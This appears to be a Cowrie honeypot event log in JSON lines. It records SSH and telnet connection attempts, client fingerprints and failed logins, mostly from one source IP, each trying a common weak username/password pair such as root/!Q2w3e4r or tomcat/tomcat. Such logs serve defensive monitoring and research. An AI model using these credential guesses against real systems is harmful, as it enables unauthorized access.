{"eventid":"cowrie.session.connect","src_ip":"180.76.139.59","src_port":56802,"dst_ip":"159.203.135.109","dst_port":23,"session":"5de70e84b291","protocol":"telnet","message":"New connection: 180.76.139.59:56802 (159.203.135.109:23) [session: 5de70e84b291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:29.366231Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":51786,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ac79a2add5b","protocol":"ssh","message":"New connection: 45.156.87.147:51786 (10.17.0.5:22) [session: 9ac79a2add5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:32.517066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:32.521384Z","src_ip":"45.156.87.147","session":"9ac79a2add5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:32.603108Z","src_ip":"45.156.87.147","session":"9ac79a2add5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:32.857280Z","src_ip":"45.156.87.147","session":"9ac79a2add5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:33.950489Z","src_ip":"45.156.87.147","session":"9ac79a2add5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":51800,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c864a4e9059","protocol":"ssh","message":"New connection: 45.156.87.147:51800 (10.17.0.5:22) [session: 4c864a4e9059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:38.756392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:38.761139Z","src_ip":"45.156.87.147","session":"4c864a4e9059","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:38.849417Z","src_ip":"45.156.87.147","session":"4c864a4e9059","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"gg","message":"login attempt [root1/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:39.105130Z","src_ip":"45.156.87.147","session":"4c864a4e9059","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:40.193815Z","src_ip":"45.156.87.147","session":"4c864a4e9059","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":59164,"dst_ip":"10.17.0.5","dst_port":22,"session":"18147dad2923","protocol":"ssh","message":"New connection: 45.156.87.147:59164 (10.17.0.5:22) [session: 18147dad2923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:44.758333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:44.762257Z","src_ip":"45.156.87.147","session":"18147dad2923","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:44.847637Z","src_ip":"45.156.87.147","session":"18147dad2923","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"123321","message":"login attempt [gabriel/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:45.110625Z","src_ip":"45.156.87.147","session":"18147dad2923","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:46.231620Z","src_ip":"45.156.87.147","session":"18147dad2923","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.89585614204407,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:48.286122Z","src_ip":"128.199.8.54","session":"e87683e1fbe9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.114","src_port":38674,"dst_ip":"159.203.135.109","dst_port":22,"session":"518baaa376be","protocol":"ssh","message":"New connection: 103.189.235.114:38674 (159.203.135.109:22) [session: 518baaa376be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:49.587660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:49.595353Z","src_ip":"103.189.235.114","session":"518baaa376be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:49.843205Z","src_ip":"103.189.235.114","session":"518baaa376be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bursa","password":"bursa","message":"login attempt [bursa/bursa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:50.856671Z","src_ip":"103.189.235.114","session":"518baaa376be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49794,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccc05fa3e867","protocol":"ssh","message":"New connection: 45.156.87.147:49794 (10.17.0.5:22) [session: ccc05fa3e867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:51.048972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:51.053633Z","src_ip":"45.156.87.147","session":"ccc05fa3e867","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:51.139351Z","src_ip":"45.156.87.147","session":"ccc05fa3e867","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kim","password":"kim123","message":"login attempt [kim/kim123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:51.473901Z","src_ip":"45.156.87.147","session":"ccc05fa3e867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:52.108651Z","src_ip":"103.189.235.114","session":"518baaa376be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:52.561429Z","src_ip":"45.156.87.147","session":"ccc05fa3e867","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49800,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbd88d54bdef","protocol":"ssh","message":"New connection: 45.156.87.147:49800 (10.17.0.5:22) [session: dbd88d54bdef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:57.225716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:57.230161Z","src_ip":"45.156.87.147","session":"dbd88d54bdef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:57.315179Z","src_ip":"45.156.87.147","session":"dbd88d54bdef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"root","message":"login attempt [bot/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:57.570322Z","src_ip":"45.156.87.147","session":"dbd88d54bdef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:58.699974Z","src_ip":"45.156.87.147","session":"dbd88d54bdef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.915159702301025,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:01.281308Z","src_ip":"180.76.139.59","session":"5de70e84b291","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49308,"dst_ip":"10.17.0.5","dst_port":22,"session":"abe5d6203b7c","protocol":"ssh","message":"New connection: 45.156.87.147:49308 (10.17.0.5:22) [session: abe5d6203b7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:03.298301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:03.303046Z","src_ip":"45.156.87.147","session":"abe5d6203b7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:03.392559Z","src_ip":"45.156.87.147","session":"abe5d6203b7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:03.653804Z","src_ip":"45.156.87.147","session":"abe5d6203b7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:04.742750Z","src_ip":"45.156.87.147","session":"abe5d6203b7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":36996,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c6efd402bb8","protocol":"ssh","message":"New connection: 45.156.87.147:36996 (10.17.0.5:22) [session: 9c6efd402bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:09.521109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:09.525715Z","src_ip":"45.156.87.147","session":"9c6efd402bb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:09.607948Z","src_ip":"45.156.87.147","session":"9c6efd402bb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:09.862295Z","src_ip":"45.156.87.147","session":"9c6efd402bb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:10.948875Z","src_ip":"45.156.87.147","session":"9c6efd402bb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.166.242.149","src_port":36708,"dst_ip":"159.203.135.109","dst_port":22,"session":"ead1350a01e0","protocol":"ssh","message":"New connection: 43.166.242.149:36708 (159.203.135.109:22) [session: ead1350a01e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:13.318832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:13.324129Z","src_ip":"43.166.242.149","session":"ead1350a01e0","protocol":"ssh"}
